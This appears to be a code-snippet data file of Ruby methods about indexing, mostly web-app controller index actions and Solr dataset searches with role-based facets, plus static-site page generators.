"def define_index_links(query)\n @links ||= []\n\n # Add some extra links to the index user is sent to if they click on an\n # undefined location.\n if query.flavor == :at_where\n @links << [:list_observations_location_define.l,\n { controller: :location, action: :create_location,\n where: query.params[:user_where] }]\n @links << [:list_observations_location_merge.l,\n { controller: :location, action: :list_merge_options,\n where: query.params[:user_where] }]\n @links << [:list_observations_location_all.l,\n { controller: :location, action: :list_locations }]\n end\n\n @links << [\n :show_object.t(type: :map),\n add_query_param(\n { controller: :observations, action: :map },\n query\n )\n ]\n\n @links << coerced_query_link(query, Location)\n @links << coerced_query_link(query, Name)\n @links << coerced_query_link(query, Image)\n\n @links << [\n :list_observations_add_to_list.t,\n add_query_param(\n { controller: :species_list, action: :add_remove_observations },\n query\n )\n ]\n\n @links << [\n :list_observations_download_as_csv.t,\n add_query_param(\n { controller: :observations, action: :download },\n query\n )\n ]\n @links\n end",
"def index\n authorize IndexPage\n @index_pages = IndexPage.\n where(institution: current_institution).\n order(:name)\n end",
"def index\n @datasets = Dataset.where(publication_state: [Databank::PublicationState::RELEASED, Databank::PublicationState::Embargo::FILE, Databank::PublicationState::TempSuppress::FILE, Databank::PublicationState::PermSuppress::FILE]).where(is_test: false) # used for json response\n\n @my_datasets_count = 0\n\n @search = nil\n search_get_facets = nil\n\n per_page = if params.has_key?(:per_page)\n params[:per_page].to_i\n else\n 25\n end\n\n if current_user&.role\n\n case current_user.role\n when \"admin\"\n\n search_get_facets = Dataset.search do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n without(:depositor, \"error\")\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?(\"visibility_codes\")\n any_of do\n params[\"visibility_codes\"].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n keywords(params[:q])\n\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are only for admins\n\n search_get_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:depositor).rows.each do |outer_row|\n has_this_row = false\n\n @search.facet(:depositor).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:depositor).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n when \"depositor\"\n\n current_netid = current_user.email.split(\"@\").first\n\n search_get_my_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n end\n with(:is_most_recent_version, true)\n with :is_test, false\n any_of do\n with :publication_state, Databank::PublicationState::DRAFT\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n keywords(params[:q])\n facet(:visibility_code)\n end\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_test, false)\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n all_of do\n with :depositor_email, current_user.email\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with :is_test, false\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?(\"editor\")\n any_of do\n with :internal_editor_netids, params[\"editor\"]\n with :depositor_netid, params[\"editor\"]\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?(\"visibility_codes\")\n any_of do\n params[\"visibility_codes\"].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n # this gets all categories for facets, even if current results do not have any instances\n\n search_get_my_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_test, false)\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor|\n with :depositor, depositor\n end\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n end\n\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:creator_names)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?(\"subjects\") && !params[\"subjects\"].nil?\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are in all searchers\n\n search_get_facets.facet(:subject_text).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:subject_text).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:subject_text).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:publication_year).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:publication_year).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:publication_year).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:license_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:license_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:license_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:funder_codes).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:funder_codes).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:funder_codes).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n @report = Dataset.citation_report(@search, request.original_url, current_user)\n\n send_data @report, filename: \"report.txt\" if params.has_key?(\"download\") && params[\"download\"] == \"now\"\n end",
"def indexInfo()\n # Let the user know what we're doing\n puts \"Checking and indexing info pages.\"\n\n # Build a list of all valid units\n cacheAllUnits()\n\n # First, the units that are new or changed\n batch = { dbUpdates: [], idxData: \"[\", idxDataSize: 0 }\n Unit.left_join(:info_index, unit_id: :id, page_slug: nil, freshdesk_id: nil).\n select(Sequel[:units][:id], :name, :page_slug, :freshdesk_id, :index_digest).each { |row|\n indexUnit(row, batch)\n }\n\n # Then the pages that are new or changed\n Page.left_join(:info_index, unit_id: :unit_id, page_slug: :slug).\n select(Sequel[:pages][:unit_id], :name, :title, :slug, :attrs, :index_digest).each { |row|\n indexPage(row, batch)\n }\n\n # Delete excess units and pages\n DB.fetch(\"SELECT unit_id FROM info_index WHERE page_slug IS NULL AND freshdesk_id IS NULL \" +\n \"AND NOT EXISTS (SELECT * FROM units WHERE info_index.unit_id = units.id)\").each { |row|\n deleteIndexUnit(row[:unit_id], batch)\n }\n DB.fetch(\"SELECT unit_id, page_slug FROM info_index WHERE page_slug IS NOT NULL \" +\n \"AND NOT EXISTS (SELECT * FROM pages WHERE info_index.unit_id = pages.unit_id \" +\n \" AND info_index.page_slug = pages.slug)\").each { |row|\n deleteIndexPage(row[:unit_id], row[:page_slug], batch)\n }\n\n # Flush the last batch\n flushInfoBatch(batch, true)\nend",
"def create_main_index(data)\n create_partials data[:sub_file], data\n data[:header] = read_file(get_header_path(data[:sub_file]))\n data[:footer] = read_file(get_footer_path(data[:sub_file]))\n data[:stylesheetloc] = main_file_stylesheet_locs\n write_data data, 'data'\n system 'erb _templates/_index.html.erb > index.html'\n end",
"def index\r\n build_index unless @index\r\n @index\r\n end",
"def index\n\n @datasets = Dataset.where(publication_state: [Databank::PublicationState::RELEASED, Databank::PublicationState::Embargo::FILE, Databank::PublicationState::TempSuppress::FILE, Databank::PublicationState::PermSuppress::FILE]).where(is_test: false) #used for json response\n\n @my_datasets_count = 0\n\n @search = nil\n search_get_facets = nil\n\n if params.has_key?(:per_page)\n per_page = params[:per_page].to_i\n else\n per_page = 25\n end\n\n if current_user&.role\n\n case current_user.role\n when \"admin\"\n\n search_get_facets = Dataset.search do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n end\n\n @search = Dataset.search do\n\n without(:depositor, 'error')\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?('visibility_codes')\n any_of do\n params['visibility_codes'].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n keywords (params[:q])\n\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are only for admins\n\n search_get_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:depositor).rows.each do |outer_row|\n has_this_row = false\n\n @search.facet(:depositor).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:depositor).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n\n when \"depositor\"\n\n current_netid = current_user.email.split(\"@\").first\n\n search_get_my_facets = Dataset.search do\n all_of do\n without(:depositor, 'error')\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n end\n with(:is_most_recent_version, true)\n with :is_test, false\n any_of do\n with :publication_state, Databank::PublicationState::DRAFT\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n keywords(params[:q])\n facet(:visibility_code)\n\n end\n\n search_get_facets = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_test, false)\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n all_of do\n with :depositor_email, current_user.email\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n all_of do\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n end\n\n @search = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with :is_test, false\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?('visibility_codes')\n any_of do\n params['visibility_codes'].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n # this gets all categories for facets, even if current results do not have any instances\n\n search_get_my_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n\n all_of do\n\n without(:depositor, 'error')\n with(:is_test, false)\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor|\n with :depositor, depositor\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n end\n\n else\n\n search_get_facets = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:creator_names)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are in all searchers\n\n search_get_facets.facet(:subject_text).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:subject_text).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:subject_text).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:publication_year).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:publication_year).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:publication_year).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:license_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:license_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:license_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:funder_codes).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:funder_codes).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:funder_codes).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n @report = Indexable.citation_report(@search, request.original_url, current_user)\n\n if params.has_key?('download') && params['download'] == 'now'\n send_data @report, :filename => 'report.txt'\n end\n\n end",
"def build_indices\n @files, @classes = RDoc::Generator::Context.build_indices(@toplevels,\n @options)\n end",
"def build_indices\n @files, @classes = RDoc::Generator::Context.build_indices(@toplevels,\n @options)\n end",
"def pages=(_arg0); end",
"def initialize(site, base, index_files, dir, data, name, title, template, extension, defaults = {})\n @site = site\n @base = base\n\n # @dir is the directory where we want to output the page\n # @name is the name of the page to generate\n #\n # the value of these variables changes according to whether we\n # want to generate named folders or not\n if data[name] == nil\n puts \"error (datapage_gen). empty value for field '#{name}' in record #{data}\"\n else\n filename = sanitize_filename(data[name]).to_s\n\n @dir = dir + (index_files ? \"/\" + filename + \"/\" : \"\")\n @name = (index_files ? \"index\" : filename) + \".\" + extension.to_s\n\n self.process(@name)\n self.read_yaml(File.join(base, '_layouts'), template + \".html\")\n\n # original method to set page title to data[name]\n # self.data['title'] = data[name]\n\n if title\n self.data['title'] = data[title]\n elsif data['publiccode'] && data['publiccode']['name']\n self.data['title'] = data['publiccode']['name'] + ' - ' + defaults['title_suffix']\n else\n self.data['title'] = data[name]\n end\n\n self.data.merge!(defaults)\n # add all the information defined in _data for the current record to the\n # current page (so that we can access it with liquid tags)\n self.data.merge!(data)\n end\n end",
